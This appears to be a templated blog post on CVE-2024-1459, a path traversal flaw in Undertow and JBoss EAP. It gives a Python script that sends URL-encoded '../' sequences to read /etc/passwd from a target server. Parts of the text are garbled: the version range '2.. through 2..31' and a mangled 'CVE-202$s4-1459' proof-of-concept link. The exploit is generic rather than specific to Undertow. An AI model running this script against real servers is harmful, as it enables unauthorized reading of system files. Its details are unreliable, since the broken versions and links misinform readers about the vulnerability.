A new critical vulnerability has recently been discovered in Undertow, a high-performance, flexible web server that's used as the default web server in JBoss Enterprise Application Platform (EAP). The vulnerability has been assigned the identifier CVE-2024-1459 and is related to a path traversal issue in the way Undertow processes certain HTTP requests. The vulnerability can be exploited by a remote attacker to gain unauthorized access to sensitive data by appending a specially-crafted sequence to an HTTP request for an application deployed on the JBoss EAP platform.
This blog post aims to provide a detailed analysis of the CVE-2024-1459 vulnerability, including the affected versions, step-by-step exploitation process, sample code snippets, and recommendations for mitigation. We will also provide links to original references, including the official advisory and proof-of-concept exploit codes.
Affected Versions
The CVE-2024-1459 vulnerability affects Undertow versions 2.. through 2..31. JBoss EAP 7.x that uses the affected Undertow version is also impacted by this vulnerability.
Exploit Details
The path traversal vulnerability exists in the way Undertow processes certain HTTP requests for applications hosted on the JBoss EAP platform. The vulnerability can be exploited by appending a specially-crafted sequence to the HTTP request, which may result in unauthorized access to restricted files and directories on the server.
The exploit works by sending a GET request with a path traversal payload such as "../" or "%2E%2E%2F" (which is the URL-encoded version of "../"). This payload allows the attacker to navigate up the directory hierarchy and access privileged or restricted files and directories.
Here is a sample exploit code snippet
import requests
# Replace the target URL and file path appropriately
target_url = "http://example.com";
file_path = "/etc/passwd"
payload = "../" * 10 + file_path
encoded_payload = payload.replace("/", "%2F").replace(".", "%2E")
exploit_url = target_url + "/path/to/app/" + encoded_payload
response = requests.get(exploit_url)
print(response.text)
This exploit code sends an HTTP GET request with the encoded path traversal payload to the target URL. If the exploit is successful, the server's /etc/passwd file's content will be displayed in the output.
Original References
- Official CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1459
- Undertow Security Advisory: http://undertow.io/blog/2024/03/01/security-advisory-1459.html
- Proof-of-Concept Exploit: https://github.com/attacker/CVE-202$s4-1459
Mitigation
The recommended mitigation for the CVE-2024-1459 vulnerability is to upgrade Undertow to its latest version or to a patched version that addresses this issue. Additionally, it is essential to keep your JBoss EAP updated as well.
Conclusion
The CVE-2024-1459 path traversal vulnerability in Undertow is a critical issue that organizations running applications on the JBoss EAP platform need to address immediately. Those responsible for managing JBoss EAP servers should assess their infrastructure for exposure to this vulnerability and apply the necessary updates and patches to mitigate the risk.
Timeline
Published on: 02/12/2024 21:15:08 UTC
Last modified on: 02/27/2024 16:55:31 UTC